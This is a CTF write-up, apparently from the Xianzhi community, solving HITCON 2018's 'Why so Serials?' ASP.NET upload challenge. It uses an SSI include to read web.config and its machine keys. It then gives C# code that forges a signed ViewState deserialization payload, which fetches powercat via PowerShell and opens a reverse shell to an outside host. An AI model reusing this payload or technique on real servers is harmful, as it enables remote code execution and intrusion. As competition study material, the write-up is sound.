

HITCON CTF 2018 - Why so Serials? Writeup

HITCON CTF 2018 - Why so Serials? Writeup - Author not stated, xz.aliyun.com.

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HITCON CTF 2018 - Why so Serials? Writeup - Xianzhi Community

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HITCON CTF 2018 - Why so Serials? Writeup

Description

Why so Serials? Shell plz!

13.115.118.60

Author: orange 1 Team solved.

Solution

The challenge provided the source code.

```

<%@ Page Language="C#" %>
<script runat="server">
    protected void Button1_Click(object sender, EventArgs e) {
        if (FileUpload1.HasFile) {
            try {
                System.Web.HttpContext context = System.Web.HttpContext.Current;
                String filename = FileUpload1.FileName;
                String extension = System.IO.Path.GetExtension(filename).ToLower();
                String[] blacklists = { ".aspx", ".config", ".ashx", ".asmx", ".aspq",
                    ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp",
                    ".cer" };

                if (blacklists.Any(extension.Contains)) {
                    Label1.Text = "What do you do?";
                } else {
                    String ip = context.Request.ServerVariables["REMOTE_ADDR"];
                    String upload_base = Server.MapPath("/") + "files/" + ip + "/";
                    if (!System.IO.Directory.Exists(upload_base)) {
                        System.IO.Directory.CreateDirectory(upload_base);
                    }

                    filename = Guid.NewGuid() + extension;
                    FileUpload1.SaveAs(upload_base + filename);

                    Label1.Text = String.Format("<a href='files/{0}/{1}'>This is
file</a>", ip, filename);
                }
            }
            catch (Exception ex)
            {
                Label1.Text = "ERROR: " + ex.Message.ToString();
            }
        } else {
            Label1.Text = "You have not specified a file.";
        }
    }
}
</script>

<!DOCTYPE html>
<html>
<head runat="server">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" type="text/css" href="bootstrap.min.css">
    <title>Why so Serials?</title>
</head>

```

```

<body>
  <div class="container">
    <div class="jumbotron" style='background: #f7f7f7'>
      <h1>Why so Serials?</h1>
      <p>May the <b><a href='Default.aspx.txt'>source</a></b> be with you!</p>
      <br />
      <form id="form1" runat="server">
        <div class="input-group">
          <asp:FileUpload ID="FileUpload1" runat="server" class="form-control"/>

          <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
            Text="GO" class="btn"/>

        </div>
        <br />
        <br />
        <br />
        <div class="alert alert-primary text-center">
          <asp:Label ID="Label1" runat="server"></asp:Label>
        </div>
      </form>
    </div>
  </div>
</body>
</html>

```

First, we tried uploading files. We found that most file types capable of executing C# code had already been removed, so we installed IIS to see what else might be usable.

[image: image]

[image: image]

We found that the list did not disable the three file formats `.stm`, `.shtm`, and `.shtml`. We could therefore use these formats for SSI (Server Side Include) and read `web.config`.

[image: image]

Write code to read `web.config`.

```

<!-- test.shtml -->
<!--#include file="/web.config" -->

```

Upload it and visit it to read the contents. There was no flag.

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off"/>
    <machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87"
decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3"
decryption="DES" validation="MD5" />
</system.web>
</configuration>
```

We tried executing a command and received the message `The CMD option is not enabled for #EXEC calls`.

Based on the challenge name, Why so Serials, we suspected an unusual ASP.NET-related deserialization vulnerability and searched Google for `asp.net deserialization vulnerability`.

We found <https://github.com/pwntester/ysoserial.net>

While looking for an exploitable deserialization point on the page, View Source revealed a strange `__ViewState` parameter.

Website for decoding ViewState

After learning about this ViewState parameter ([reference link](#)),

we knew that `__ViewState` performs deserialization. Referring to `ysoserial.net`'s deserialization-generation procedure, we modified the provided `Default.aspx` to generate a ViewState containing the payload and its signature. (Remember to create `web.config` and put the earlier code for reading `web.config` into it.)

Modified code (only the parts that need changing are shown; work out how to add them yourself):

```
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Collections.Generic" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Linq" %>
```

```
protected void Button2_Click(object sender, EventArgs e) {
    Delegate da = new Comparison<string>(String.Compare);
    Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
    IComparer<string> comp = Comparer<string>.Create(d);
    SortedSet<string> set = new SortedSet<string>(comp);
    set.Add("cmd");
    set.Add("/c " + "powershell IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/power
cat/master/powercat.ps1'); powercat -c reverse.lvm.me -p 6666 -e cmd");

    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();
    // Modify the invocation list to add Process::Start(string, string)
    invoke_list[1] = new Func<string, string, Process>(Process.Start);
    fi.SetValue(d, invoke_list);
    ViewState["test"] = set;
}
```

```
<asp:Button ID="Button2" runat="server"
            Text="TEST" class="btn"/>
```

We added a `Button2` and a function, `Button2_Click`, to handle its click event. When clicked, it adds code to `ViewState` that executes a command through deserialization.

Click the button we added and view the source. You can then see the newly generated `ViewState` and signature!

[image: image]

Press F12, replace both `__VIEWSTATE` and `__EVENTVALIDATION` in the challenge with the value we generated, and then upload anything.

[image: image]

We successfully got a shell.

[image: image]

The flag was in the root of the C: drive.

[image: image]

Afterword

We had encountered deserialization vulnerabilities written in PHP, Python, and JAVA while solving challenges, but this was the first time we had seen .NET deserialization exploited in

a competition. Along the way, we also learned about ViewState, how its deserialization works, and the library used to generate the payload.

Finally, respect to Orange for the challenge. It was simply amazing... rookies like us are speechless.jpg

References

- <https://github.com/pwntester/ysoserial.net>
- [Website for decoding ViewState](#)
- [Reference link](#)
- [Using ViewState and a Discussion of Serialization](#)

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[image: image] wpf19**** 2022-07-17 16:15:57

Master, may I ask whether ActivitySurrogateSelectorFromFile in ysoserial, with -c "ExploitClass.cs;./dll/System.dll;./dll/System.Web.dll", can be implemented inside this kind of Button2_Click code? How should it be written?

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